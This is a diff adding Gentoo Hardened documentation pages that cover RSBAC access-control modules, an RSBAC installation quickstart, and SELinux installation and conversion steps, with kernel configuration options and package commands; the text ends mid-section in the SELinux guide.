+version 1.0.9a. Granted rights and group memberships can have a
+time limit.
+</p>
+</body>
+</section>
+
+<section>
+<title>CAP</title>	
+<body>
+<p>
+Linux Capabilities. For all users and programs you
+can define a minimum and a maximum Linux capability set ("set of
+root special rights"). This lets you e.g. run server programs as
+normal user, or restrict rights of root programs in the standard
+Linux way.
+</p>
+</body>
+</section>
+
+<section>
+<title>JAIL</title>	
+<body>
+<p>
+Process Jails. This module adds a new system call
+rsbac_jail, which is basically a superset of the FreeBSD jail
+system call. It encapsulates the calling process and all
+subprocesses in a chroot environment with a fixed IP address and a
+lot of further restrictions.
+</p>
+</body>
+</section>
+
+<section>
+<title>RES</title>	
+<body>
+<p>
+Linux Resources. For all users and programs you can
+define a minimum and a maximum Linux process resource set (e.g.
+memory size, number of open files, number of processes per user).
+Internally, these sets are applied to the standard Linux resource
+flags.
+</p>
+</body>
+</section>
+
+<section>
+<body>
+<p>	   
+All decision modules are described in detail on the module description
+page.
+</p>
+
+<p>
+A general goal of RSBAC design has been to some day reach the (obsolete)
+Orange Book (TCSEC) B1 level.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
+
diff --git a/xml/htdocs/proj/en/hardened/rsbac/quickstart.xml b/xml/htdocs/proj/en/hardened/rsbac/quickstart.xml
new file mode 100644
index 00000000..092f1de1
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/rsbac/quickstart.xml
@@ -0,0 +1,319 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/en/hardened/rsbac/quickstart.xml">
+
+<title>Rule Set Based Access Control (RSBAC) for Linux - Quickstart</title>
+
+<author title="Author">
+  <mail link="albeiro@gentoo.pl">Michal Purzynski</mail>
+</author> <author title="Editor">
+  <mail link="kang@gentoo.org">Guillaume Destuynder</mail>
+</author>
+
+<abstract>This document will guide you through the installation of the
+RSBAC on Gentoo Linux</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license
+--> <!-- See http://creativecommons.org/licenses/by-sa/1.0 --> <license/>
+
+<version>1.7</version>
+<date>15 February 2006</date>
+
+<chapter> <title>Introduction</title> <section> <body>
+
+<p> This guide will help you to install RSBAC on
+Gentoo Linux. It is assumed that the users have read
+the <uri link="intro.xml">Introduction</uri> and the <uri
+link="overview.xml">Overview</uri> already, so that they knows what is
+RSBAC and its main concepts.  </p>
+
+</body> </section> </chapter>
+
+<chapter> <title>Installation of the RSBAC enabled kernel</title>
+<section> <title>Emerging the RSBAC kernel</title> <body>
+
+<p> This step is pretty straight forward, thanks to the way Gentoo
+handles kernel installations. Start by emerging the rsbac-sources
+kernel from your portage.  </p>
+
+<note> There are two rsbac-sources kernel available: 
+one is for the 2.4 kernel branch, the other is for the newer 2.6 kernel branch.	
+</note>
+
+<pre caption="RSBAC kernel installation (using the default profile and 2.6 kernel)">
+# <i>emerge rsbac-sources</i>
+</pre>
+
+<pre caption="RSBAC kernel installation (using the 2.4 kernel, since Gentoo profile 2005.0)">
+# <i>rm /etc/make.profile</i>
+# <i>ln -s /usr/portage/profiles/default-linux/x86/2005.0/2.4/ /etc/make.profile</i>
+# <i> echo "sys-kernel/hardened-sources rsbac" >> /etc/portage/package.use</i>
+# <i>emerge hardened-sources</i>
+</pre>
+
+<impo> It is advised to enable softmode on your first RSBAC kernel. It
+allows you to turn off the RSBAC enforcement in one reboot, for testing
+or in case something goes wrong. Only turn it off once you are sure of
+what you are doing, or of course, for a production kernel.  </impo>
+
+</body> </section> <section> <title>Configuring the RSBAC kernel</title>
+<body>
+
+<p> We will now configure the kernel. It is recommended that you
+enable the following options, in the "Rule Set Based Access Control
+(RSBAC)" category: </p>
+
+<pre caption="Configuring and compiling the RSBAC kernel">
+<comment>Under "General RSBAC options"</comment>
+[*] RSBAC proc support
+[*] Check on init
+[*] Support transactions
+[*]   Randomize transaction numbers
+[*] RSBAC debugging support
+(400) RSBAC default security officer user ID
+
+<comment>Under "User management"</comment>
+[*] User management
+<comment>Be sure to enable SHA1 in the Crypto API
+Under "Cryptographic options" of the general kernel configuration, tick
+[*]   SHA1 digest algorithm
+</comment>
+[*]     Use Crypto API Digest SHA1 (NEW)
+
+<comment>Under "RSBAC networking options"</comment>
+[*] RSBAC network support
+[*]     Net device control
+[ ]         Treat virtual devices as individuals
+[*]         Individual network device logging
+[*]     Net object control (sockets)
+[*]         Control UNIX address family
+[*] Also intercept network object read and write
+[*]         Individual network object logging
+
+<comment>(Do not turn on "RSBAC Maintenance Kernel", use softmode instead)</comment>
+
+<comment>Under "Decision module (policy) options"</comment>
+[*] Support for Registration of decision modules (REG)
+[*]     Build REG sample modules
+----------------------------
+[*] RSBAC support for DAZuko policy <comment>(For malware/antivirus scanning)</comment>
+DAZ Policy Options  --->
+     (604800)     Scanning result lifetime in seconds
+
+<comment>For each different policy/module you support you should check it's protection for AUTH module
+and User Management module</comment>
+[*] RSBAC support for FF policy
+[*] RSBAC support for RC policy
+[*] RSBAC support for AUTH policy
+<comment>Please turn learning option off on production kernels. It is only used while setting up your RSBAC system.</comment>
+AUTH Policy Options  --->
+    [*]   AUTH learning mode support 
+[*] RSBAC support for ACL policy
+[*] RSBAC support for Linux Caps (CAP) policy
+[*] RSBAC support for JAIL policy
+[*] RSBAC support for PAX policy
+[*] RSBAC support for System Resources (RES) policy
+
+<comment>Under "Softmode and switching"</comment>
+[ ] RSBAC policies switchable
+[*] RSBAC soft mode <comment>(Turn that off on production kernels)</comment>
+[*]     Individual module softmode support
+
+<comment>Under "Logging": all except "Log to remote UDP network socket"
+unless you want to log to remote machine</comment>
+
+<comment>Under "RSBAC symlink redirection"</comment>
+[*]   RSBAC symlink redirection
+[*]     Add remote IP address
+[*]       Add user ID number
+[*]       Add RC role number
+
+<comment>Under "Other RSBAC options"</comment>
+[*] Intercept sys_read and sys_write
+[*] Intercept Semaphore IPC operations
+[*] Control DAC process owner (seteuid, setfsuid)
+[*] Hide processes in /proc
+[*] Support freezing of RSBAC configuration
+[*] RSBAC check sys_syslog
+</pre>
+
+<note> If you plan to run a X Window server (such as X.org or XFree86),
+please also enable <c>"[*] X support (normal user MODIFY_PERM access
+to ST_ioports)"</c>.  
+Please also see <uri link="http://www.gentoo.org/proj/en/hardened/hardenedxorg.xml">Using Xorg on Hardened Gentoo</uri></note>
+
+<p> We will now configure PaX which is a complement of the RSBAC hardened
+kernel. It is also recommended that you enable the following options,
+in the "Security options ---> PaX" section.  </p>
+
+<pre caption="Configuring PaX kernel options">
+[*] Enable various PaX features
+PaX Control  --->
+    [*] Support soft mode <comment>(Turn that option off on a production kernel)</comment>
+    [ ] Use legacy ELF header marking
+    [ ] Use ELF program header marking
+        Use ELF program header marking MAC system integration (direct)  --->
+        (X) hook
+
+Non-executable pages  --->
+    [*] Enforce non-executable pages (NEW)
+    [*]   Paging based non-executable pages
+<comment>(You usually want to select the PAGEEXEC method on x86 since on newer PaXs,
+revert to SEGMEXEC if you are having issues)</comment>
+    [*]   Segmentation based non-executable pages (NEW)
+    [*] Restrict mprotect()
+    [ ]   Disallow ELF text relocations <comment>(This option breaks too much applications as of now)</comment>
+
+Address Space Layout Randomization  --->
+    [*] Address Space Layout Randomization
+    [*]   Randomize user stack base
+    [*]   Randomize mmap() base
+</pre>
+
+<note> You should refer to the <uri
+link="http://pax.grsecurity.net">PaX</uri> website for more information
+about PaX.  </note> <note> You must use the RSBAC admin utilities
+to manage PaX, instead of chpax or paxctl with your RSBAC kernel.
+You will be able to move to the PaX item and set the usual PaX flags.
+</note>
+
+<pre caption="Managing PaX flags">
+	# <i>rsbac_fd_menu /path/to/the/target/item</i>
+	or
+	# <i>attr_set_file_dir FILE /path/to/the/target/item pax_flags [pmerxs]</i>
+</pre>
+
+<p> You can now compile and install the kernel as you would do with a
+normal one concerning the other options.  </p>
+
+<impo> It is strongly suggested to build a second kernel without
+the softmode options, neither the AUTH option, in order to use in
+a production environment. Only do that once you finished testing and
+setting up policies, as it'll remove the possiblity of switching off
+the access control system.  </impo>
+
+</body> </section> </chapter>
+
+<chapter> <title>Installation of the RSBAC admin utilities</title>
+<section> <body>
+
+<p> In order to administrate your RSBAC enabled Gentoo, some userspace
+utilites are required. Those are included in the rsbac-admin package
+and it needs to be installed.  </p>
+
+<pre caption="Installing the RSBAC admin utilities">
+# <i>emerge rsbac-admin</i>
+</pre>
+
+<p> Once emerged, the package will have created a new user account on your
+system (secoff, with uid 400). He will become the security administrator
+during the first boot. This is the only user, who is able to change the
+RSBAC configuration. He will commonly be called the Security Officer.
+</p>
+
+<impo> Please set-up a <e>secure</e> password for the secoff user.
+</impo>
+
+<pre caption="Setting up a password for the Security Officer">
+# <i>passwd secoff</i>
+</pre>
+
+</body> </section> </chapter>
+
+<chapter> <title>First boot</title> <section> <body>
+
+<p> At the first boot, login into the system won't be possible, due to the
+AUTH module <e>restricting</e> the programs privileges. To overcome this
+problem please boot into softmode using the following kernel parameter
+(in your lilo or grub configuration): </p>
+
+<pre caption="Softmode kernel parameter"> <i>rsbac_softmode</i> </pre>
+
+<p> The login application is managing user logins on the system. It
+needs rights to setuid, which we will now give: </p> <p> Login as the
+Security Officer (secoff) and allow logins to be made by enterering the
+following command: </p>
+
+<pre caption="Allowing users to login">
+	# <i>rsbac_fd_menu /bin/login</i>
+	or
+	# <i>attr_set_fd AUTH FILE auth_may_setuid 1 /bin/login</i>
+</pre>
+
+<p> As an alternative, if softmode isn't enabled, you can also use the
+following kernel parameter in order to allow login at boot time: </p>
+
+<pre caption="Allowing users to login with a kernel parameter">
+<i>rsbac_auth_enable_login</i>
+</pre>
+
+</body> </section> </chapter>
+
+<chapter> <title>Learning mode and the AUTH module</title> <section>
+<title>Creating a policy for OpenSSH</title> <body>
+
+<p> Because there is almost no policy made yet (except the one generated
+during the first boot), the AUTH module does not allows uid changes.
+</p> <p> Thanks to the intelligent learning mode there is an easy way to
+alleviate this new problem: The AUTH module can automagically generate the
+necessary policy by watching services while they start up, and note the
+uids they are trying to switch to. For example to teach the AUTH module
+about the uids needed by sshd (OpenSSH daemon), do the following: </p>
+
+<impo>Make sure that sshd or the daemon you will use the learn mode with isn't running already before enabling learn mode.</impo>
+<pre caption="Making a policy for sshd, using the learning
+mode">
+<comment>Enable the learning mode for sshd</comment>
+# <i>attr_set_file_dir AUTH FILE `which sshd` auth_learn 1</i>
+
+<comment>Start the service</comment>
+# <i>/etc/init.d/sshd start</i>
+
+<comment>Disable the learning mode</comment>
+# <i>attr_set_file_dir AUTH FILE `which sshd` auth_learn 0</i>
+</pre>
+
+<note> One should also login to the system before switching the learning
+mode off, because sshd will also attempt to change it's uids when the
+user will login in.  </note>
+
+<p> Now sshd should be working as expected again, <e>congratulations</e>,
+you made your first policy :) The same procedure can be used on every
+other daemon you will need.  </p>
+
+<note> As an alternative to enable the learning mode for each daemon
+of application you will need, you might want to enable the global
+learning mode (which will learn about everything running, globally,
+as it name tells).  </note>
+
+<p> You can enable the global learning mode by issuing this kernel
+parameter at boot time: </p>
+
+<pre caption="Enabling the global learning mode">
+<i>rsbac_auth_learn</i>
+</pre>
+
+</body> </section> </chapter>
+
+<chapter> <title>Further information</title> <section> <body>
+
+<p> It is also strongly suggested that you subscribe to the <uri
+link="http://www.gentoo.org/main/en/lists.xml">gentoo-hardened
+mailing-list</uri>. It is generally a low traffic list,
+and RSBAC announcements for Gentoo will be available
+there. We also recommend you to subscribe to the <uri
+link="http://rsbac.org/mailman/listinfo/rsbac/">RSBAC mailing-list</uri>.
+Please also check the <uri link="http://www.gentoo.org/proj/en/hardened/hardenedfaq.xml">hardened FAQ</uri> as your questions might already be covered in this document.
+</p>
+
+<table> <tr>
+  <ti>Links:</ti>
+  <ti><uri link="http://www.rsbac.org">RSBAC Official site</uri></ti>
+</tr> <tr>
+  <ti>IRC channels:</ti> <ti><uri link="irc://irc.freenode.org/gentoo-hardened">#gentoo-hardened</uri></ti>
+  <ti><uri link="irc://irc.freenode.org/rsbac">#rsbac</uri></ti>
+</tr> </table>
+
+</body> </section> </chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/hardened/rsbac/transition.xml b/xml/htdocs/proj/en/hardened/rsbac/transition.xml
new file mode 100644
index 00000000..0c372b6b
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/rsbac/transition.xml
@@ -0,0 +1,60 @@
+<?xml version='1.0' encoding="UTF-8"?> <!DOCTYPE guide SYSTEM
+"/dtd/guide.dtd">
+
+<guide link="transition.xml">
+
+<title>Rule Set Based Access Control (RSBAC) for Linux -
+Transition from rsbac-sources to hardened-sources </title>
+
+<author title="Author">
+  <mail link="kang@gentoo.org">Guillaume Destuynder</mail>
+</author>
+<abstract> This document will help you transioning from
+rsbac-sources to hardened-sources </abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license
+--> <!-- See http://creativecommons.org/licenses/by-sa/1.0 --> <license/>
+
+<version>1.0</version> <date>15 February 2006</date>
+
+<chapter>
+<title>RSBAC</title>
+<section> <title>Why ?</title>
+<body>
+
+<note> Currently only the 2.4 kernels are affected </note>
+
+<p> All hardened patches are currently present in the hardened-sources
+	kernel. SELinux as well as GrSecurity MAC solutions are also present.
+	The current RSBAC kernel is simply a copy of this hardened-sources
+	kernel, with RSBAC patches added and GrSecurity patches disabled. </p>
+
+<p> When users are looking for the kernel to install, they install 
+	this very one. Most often, they assume the RSBAC kernel is simply not
+	present because not inside of the "hardened kernel". </p>
+
+<p> Finally, why having two versions of the almost same kernel when
+	it can just be one ? </p>
+
+</body>
+</section>
+<section> <title>How ?</title>
+<body>
+
+<p> The transition is very simple. In short, you just have to emerge
+	the hardened-sources kernel instead of the usual rsbac-sources one.
+	Make sure to also add the rsbac local use flag so that the RSBAC
+	patches get applied. </p>
+
+<impo> Make sure you are using the 2.4 kernel. 2.6 kernels have not yet been 
+	transitionned </impo>
+
+<pre caption="Adding the rsbac local use flag">
+	# <i>echo "sys-kernel/hardened-sources rsbac" >> /etc/portage/packages.use</i>
+	# <i>emerge hardened-sources</i>
+</pre>
+
+
+</body> </section> </chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/hardened/selinux/hb-install.xml b/xml/htdocs/proj/en/hardened/selinux/hb-install.xml
new file mode 100644
index 00000000..b2598770
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/selinux/hb-install.xml
@@ -0,0 +1,66 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/hardened/selinux/hb-install.xml,v 1.5 2010/06/25 16:07:19 pebenito Exp $ -->
+
+<sections>
+<version>1.4</version>
+<date>2010-06-15</date>
+
+<section><title>Gentoo SELinux Installation</title>
+<subsection>
+<body>
+
+<warn>SELinux is only supported on servers.  Workstation support
+will happen in the future.</warn>
+
+<p>
+The installation of Gentoo SELinux is the same as regular Gentoo.  The regular
+install should be followed from the 
+<uri link="/doc/en/handbook/index.xml">Gentoo Handbook</uri>,
+keeping in mind the following notes.  Then the
+system should converted to SELinux using the
+<uri link="?part=2">SELinux Conversion Guide</uri>.
+It is recommended to use the hardened stage 3 tarball if you are building a 
+hardened Gentoo system (which is also recommended).
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section><title>Installation Notes</title>
+<subsection><title>Filesystems</title>
+<body>
+<p>
+Only ext2, ext3, ext4, JFS, XFS and Btrfs are supported at this time.  Reiserfs
+ does not provide the necessary XATTR support, and Reiser4 is not well tested.
+</p>
+<p>
+XFS users should use 512 byte inodes (the default is 256).  SELinux keeps
+file security lables in the extended attributes, which XFS stores in
+the inode.  If the inode is too small an extra block has to be used, which
+wastes a lot of space and incurs performace penalties.
+</p>
+<pre caption="Example XFS filesystem creation command">
+# <i>mkfs.xfs -i size=512 /dev/hda3</i>
+</pre>
+</body>
+</subsection>
+
+<subsection><title>Kernel</title>
+<body>
+<warn>Kernels 2.6.14 and 2.6.15 have broken SELinux XFS support.</warn>
+<p>
+You can save time by looking ahead to the <uri link="?part=2&amp;chap=2#doc_chap2">kernel options</uri>
+required for SELinux, to save compiling the kernel multiple times.
+</p>
+</body>
+</subsection>
+
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/hardened/selinux/hb-selinux-conv-profile.xml b/xml/htdocs/proj/en/hardened/selinux/hb-selinux-conv-profile.xml
new file mode 100644
index 00000000..01f5ead0
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/selinux/hb-selinux-conv-profile.xml
@@ -0,0 +1,107 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+ 
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/hardened/selinux/hb-selinux-conv-profile.xml,v 1.10 2010/06/25 16:07:19 pebenito Exp $ -->
+
+<sections>
+<version>2.1</version>
+<date>2010-06-15</date>
+
+<section><title>Change Profile</title>
+<subsection><body>
+
+<warn>SELinux is only supported on ext2/3, XFS, JFS, and Btrfs.  Other filesystems
+lack the complete extended attribute support.</warn>
+
+<warn>Users should convert from a 2006.1 or newer profile otherwise
+there may be unpredictable results.</warn>
+
+<impo>As always, keep a LiveCD at hand in case things go wrong.</impo>
+
+<p>First switch your profile to the SELinux profile for your architecture:</p>
+
+<pre caption="Switch profiles">
+# <i>rm -f /etc/make.profile</i>
+
+
+<comment>x86 (server):</comment>
+# <i>ln -sf /usr/portage/profiles/selinux/v2refpolicy/x86/server /etc/make.profile</i>
+<comment>x86 (hardened):</comment>
+# <i>ln -sf /usr/portage/profiles/selinux/v2refpolicy/x86/hardened /etc/make.profile</i>
+<comment>AMD64:</comment>
+# <i>ln -sf /usr/portage/profiles/selinux/v2refpolicy/amd64/server /etc/make.profile</i>
+<comment>AMD64 (hardened):</comment>
+# <i>ln -sf /usr/portage/profiles/selinux/v2refpolicy/amd64/hardened /etc/make.profile</i>
+</pre>
+
+<note>You can also switch profiles with eselect if you have the gentoolkit
+ package installed.  That method is not shown here because the specific options
+ available and their numbering will vary according to your system
+ configuration.</note>
+
+<impo>Do not use any profiles other than the ones listed above, even
+if they seem to be out of date.  SELinux profiles are not necessarily
+created as often as default Gentoo profiles.</impo>
+
+<impo>The SELinux profile has significanly fewer USE flags asserted than
+the default profile.  Use <c>emerge info</c> to see if any use flags
+need to be reenabled in make.conf.</impo>
+
+<note>It is not necessary to add selinux to your USE flags in make.conf.
+The SELinux profile already does this for you.
+</note>
+
+<note>
+  You may encounter this message from portage: "!!! SELinux module not found.
+  Please verify that it was installed."  This is normal, and will be fixed
+  later in the conversion process.
+</note>
+</body>
+</subsection>
+</section>
+
+<section><title>Update Kernel Headers</title>
+<subsection><body>
+<p>
+  We will start by updating essential packages.  First check which version
+  of linux-headers is installed.
+</p>
+
+<pre caption="Check linux-headers version">
+# <i>emerge -s linux-headers</i>
+<comment>or if you have gentoolkit installed:</comment>
+# <i>equery list -i linux-headers</i>
+</pre>
+
+<p>
+  If the linux-headers version is older than 2.4.20, newer headers must be merged.
+</p>
+
+<pre caption="Merge newer headers">
+# <i>emerge \>=sys-kernel/linux-headers-2.4.20</i>
+</pre>
+</body>
+</subsection>
+</section>
+
+<section><title>Update Glibc</title>
+<subsection><body>
+<p>
+  If you have merged new headers, or you are unsure if your glibc was
+  compiled with newer headers, you must recompile glibc.
+</p>
+
+<pre caption="Recompile glibc">
+# <i>emerge glibc</i>
+</pre>
+
+<impo>
+  This is a critical operation.  Glibc must be compiled with newer linux-headers,
+  otherwise some operations will malfunction.
+</impo>
+</body></subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/en/hardened/selinux/hb-selinux-conv-reboot1.xml b/xml/htdocs/proj/en/hardened/selinux/hb-selinux-conv-reboot1.xml
new file mode 100644
index 00000000..a714b6a5
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/selinux/hb-selinux-conv-reboot1.xml
@@ -0,0 +1,192 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+ 
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/hardened/selinux/hb-selinux-conv-reboot1.xml,v 1.10 2010/06/25 16:07:19 pebenito Exp $ -->
+
+<sections>
+<version>2.0</version>
+<date>2007-07-22</date>
+
+<section><title>Merge a SELinux Kernel</title>
+<subsection><body>
+<p>Merge an appropriate kernel.  A 2.6 kernel is required.  The
+   suggested kernel is hardened-sources.
+</p>
+
+<note>2.6.28-r9 is the current hardened release version at the time of this writing,
+  and all instructions in this document assume at least this version.</note>
+
+<warn>Kernels 2.6.14 and 2.6.15 should not be used by XFS users as they
+  have bugs in the SELinux XFS support.</warn>
+ 
+<pre caption="Merge an appropriate kernel">
+<comment>Any 2.6 kernel</comment>
+# <i>emerge hardened-sources</i>
+</pre>
+</body></subsection>
+</section>
+
+<section><title>Compile the Kernel with SELinux Options</title>
+<subsection><body>
+<p>The kernel must  be compiled with security module support, SELinux support,
+devpts, and extended attribute security labels.  Refer to the main installation
+guide for futher kernel options.</p>
+
+<note>
+The available options may vary slightly depending on the kernel version
+being used.  In particular, Btrfs first became available with the 2.6.29
+kernel, and the /dev/pts and tmpfs Extended Attributs and Security Labels
+options were obsoleted in kernel 2.6.13 (they are now enabled by default).
+"Default Linux Capabilies" under "Security options" was obsoleted in the
+2.6.26 kernel (it is now enabled by default).
+
+XFS always enables security labeling, so there is no additional option
+to set for this file system
+
+Ext4 should work, but is NOT well tested at the time of this writing!
+
+Any extended attribute options not specifically enabled below should be turned
+off.
+</note>
+
+<pre caption="Location and required options under menuconfig">
+<comment>Under "General setup"</comment>
+[*] Prompt for development and/or incomplete code/drivers
+[*] Auditing support
+[*]   Enable system-call auditing support
+
+<comment>Under "File systems"</comment>
+&lt;*&gt; Second extended fs support <comment>(If using ext2)</comment>
+[*]   Ext2 extended attributes
+[ ]     Ext2 POSIX Access Control Lists
+[*]     Ext2 Security Labels
+[ ]   Ext2 Execute in place support
+&lt;*&gt; Ext3 journalling file system support <comment>(If using ext3)</comment>
+[*]   Ext3 extended attributes
+[ ]     Ext3 POSIX Access Control Lists
+[*]     Ext3 Security labels
+&lt;*&gt; The Extended 4 (ext4) filesystem <comment>(If using ext4)</comment>
+[ ]   Enable ext4dev compatibility 
+[*]   Ext4 extended attrributes
+[ ]     Ext4 POSIX Access Control Lists
+[*]     Ext4 Security Labels
+&lt;*&gt; JFS filesystem support <comment>(If using JFS)</comment>
+[ ]   JFS POSIX Access Control Lists
+[*]   JFS Security Labels
+[ ]   JFS debugging
+[ ]   JFS statistics
+&lt;*&gt; XFS filesystem support <comment>(If using XFS)</comment>
+[ ]   XFS Quota support
+[ ]   XFS POSIX ACL support
+[ ]   XFS Realtime subvolume support (EXPERIMENTAL)
+[ ]   XFS Debugging Support
+&lt;*&gt; Btrfs filesystem (EXPERIMENTAL) Unstable disk format <comment>(if
+using Btrfs)</comment>
+[ ]   Btrfs POSIX Access Control Lists (NEW)
+<comment>Under "Pseudo filesystems (via "File systems")</comment>
+[ ] /dev file system support (EXPERIMENTAL)
+[*]   /dev/pts Extended Attributes
+[*]     /dev/pts Security Labels
+[*] Virtual memory file system support (former shm fs)
+[*]   tmpfs Extended Attributes
+[*]     tmpfs Security Labels
+
+<comment>Under "Security options"</comment>
+[*] Enable different security models
+[*]   Socket and Networking Security Hooks
+&lt;*&gt;   Default Linux Capabilities
+[*] NSA SELinux Support
+[ ]   NSA SELinux boot parameter
+[ ]   NSA SELinux runtime disable
+[*]   NSA SELinux Development Support
+[ ]   NSA SELinux AVC Statistics
+(1)   NSA SELinux checkreqprot default value
+[ ]   NSA SELinux enable new secmark network controls by default
+[ ]   NSA SELinux maximum supported policy format version
+</pre>
+
+<p>
+  The extended attribute security labels must be turned on for devpts and
+  your filesystem(s).  Devfs is not usable in SELinux, and should be
+  turned off.  Not all options exist on older 2.6 kernels,
+  such as Auditing support, and runtime disable.  In newer kernels,
+  the extended attributes support for proc and the virtual memory fs (tmpfs)
+  are enabled by default; thus, no options will appear in menuconfig.
+</p>
+
+<note>It is recommended to configure PaX if you are using harded-sources (also
+recommended).  More information about Pax can be found in the <uri link="http://www.gentoo.org/proj/en/hardened/pax-quickstart.xml">Hardened Gentoo
+PaX Quickstart Guide</uri>.
+</note>
+
+<warn>
+  Do not enable the SELinux MLS policy option if its available, as it is
+  not supported, and will cause your machine to not start.
+</warn>
+
+<p>
+  Now compile and install the kernel and modules, but do not reboot.
+</p>
+</body></subsection>
+</section>
+
+<section><title>Update fstab</title>
+<subsection><body>
+<p>
+  SElinuxfs must also be enabled to mount at boot.
+  Add this to /etc/fstab:
+</p>
+<pre caption="Fstab settings for selinuxfs">
+none	/selinux	selinuxfs	defaults	0	0
+</pre>
+</body></subsection>
+</section>
+
+<section><title>Configure Baselayout</title>
+<subsection><body>
+<p>
+SELinux does not support devfs.  You must configure baselayout to
+use either static device nodes or udev.  If using udev, the
+device tarball must be disabled.  Edit the /etc/conf.d/rc file.
+Set RC_DEVICES to static or udev, and RC_DEVICE_TARBALL to no.
+If you have several custom device nodes, static is suggested,
+otherwise udev is suggested (udev is the default at the time of this writing).
+For more information on udev, consult the <uri link="/doc/en/udev-guide.xml">Gentoo UDEV Guide</uri>.
+</p>
+<pre caption="Init script configuration">
+# Use this variable to control the /dev management behavior.
+#  auto   - let the scripts figure out what's best at boot
+#  devfs  - use devfs (requires sys-fs/devfsd)
+#  udev   - use udev (requires sys-fs/udev)
+#  static - let the user manage /dev
+
+RC_DEVICES="<comment>udev</comment>"
+
+# UDEV OPTION:
+# Set to "yes" if you want to save /dev to a tarball on shutdown
+# and restore it on startup.  This is useful if you have a lot of
+# custom device nodes that udev does not handle/know about.
+
+RC_DEVICE_TARBALL="<comment>no</comment>"
+</pre>
+</body></subsection>
+</section>
+
+<section><title>Reboot</title>
+<subsection><body>
+<p>
+  We need to make some directories before we reboot.
+</p>
+<pre caption="Making Required Directories">
+# <i>mkdir /selinux</i>
+# <i>mkdir /sys</i>
+</pre>
+<p>
+  Now reboot.
+</p>
+</body></subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/en/hardened/selinux/hb-selinux-conv-reboot2.xml b/xml/htdocs/proj/en/hardened/selinux/hb-selinux-conv-reboot2.xml
new file mode 100644
index 00000000..03be7e9d
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/selinux/hb-selinux-conv-reboot2.xml
@@ -0,0 +1,213 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+  
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/hardened/selinux/hb-selinux-conv-reboot2.xml,v 1.11 2010/06/25 16:07:19 pebenito Exp $ -->
+
+<sections>
+<version>2.2</version>
+<date>2009-12-15</date>
+
+<section><title>Merge SELinux Packages</title>
+<subsection>
+<body>
+<p>Merge the libraries, utilities and base-policy.  The policy version may need
+   be adjusted, refer to the SELinux Overview
+   for more information on policy versions.  Then load the policy.</p>
+
+<pre caption="Merge base SELinux packages and policy">
+# <i>emerge -1 checkpolicy policycoreutils</i>
+# <i>FEATURES=-selinux emerge -1 selinux-base-policy</i>
+</pre>
+<note>
+The "FEATURES=-selinux" part of the emerge command should only be used on the above command.
+It is required to merge selinux-base-policy (only for the first time) as the portage SELinux features require both policycoreutils and selinux-base-policy otherwise portage will fail.
+</note>
+</body></subsection>
+</section>
+
+<section><title>Choose the policy type</title>
+<body>
+<p>
+New in 2006.1, users now have the choice between the strict policy and the
+targeted policy.
+</p>
+<p>
+In the strict policy, all processes are confined.
+If you are familiar with pre 2006.1 Gentoo SELinux policy, that policy was a strict policy.
+Strict policy is suggested for servers.
+Gentoo does not support the strict policy on desktops.
+</p>
+<p>
+The targeted policy differs with strict, as only network-facing services are
+confined and local users are unconfined.  Gentoo only supports desktops with
+the targeted policy.  This policy can also be used on servers.
+</p>
+<p>
+Edit the /etc/selinux/config file to set the policy type.
+</p>
+<pre caption="/etc/selinux/config contents">
+# This file controls the state of SELinux on the system on boot.
+
+# SELINUX can take one of these three values:
+#       enforcing - SELinux security policy is enforced.
+#       permissive - SELinux prints warnings instead of enforcing.
+#       disabled - No SELinux policy is loaded.
+SELINUX=permissive <comment>(This should be set permissive for the remainder of the install)</comment>
+
+# SELINUXTYPE can take one of these two values:
+#       targeted - Only targeted network daemons are protected.
+#       strict - Full SELinux protection.
+SELINUXTYPE=strict <comment>(Set this as strict or targeted)</comment>
+</pre>
+</body>
+</section>
+
+<section><title>Merge SELinux-patched packages</title>
+<subsection><body>
+<p>
+  There are several system packages that have SELinux patches.  These patches
+  provide a variety of additional SELinux functionality, such as displaying
+  file contexts.
+</p>
+<pre caption="Remerge Packages">
+# <i>emerge -1 sysvinit pam coreutils findutils openssh procps psmisc shadow util-linux python-selinux</i>
+</pre>
+<note>
+  If you find that you can't use portage due to a errors like these:
+  !!! 'module' object has no attribute 'secure_rename' or
+  AttributeError: 'module' object has no attribute 'getcontext', this is
+  a portage bug, where it can't handle a missing python-selinux.  Merge it
+  with "FEATURES=-selinux emerge python-selinux" to fix the problem.  See
+  bug <uri link="http://bugs.gentoo.org/show_bug.cgi?id=122517">#122517</uri>
+  for more information.
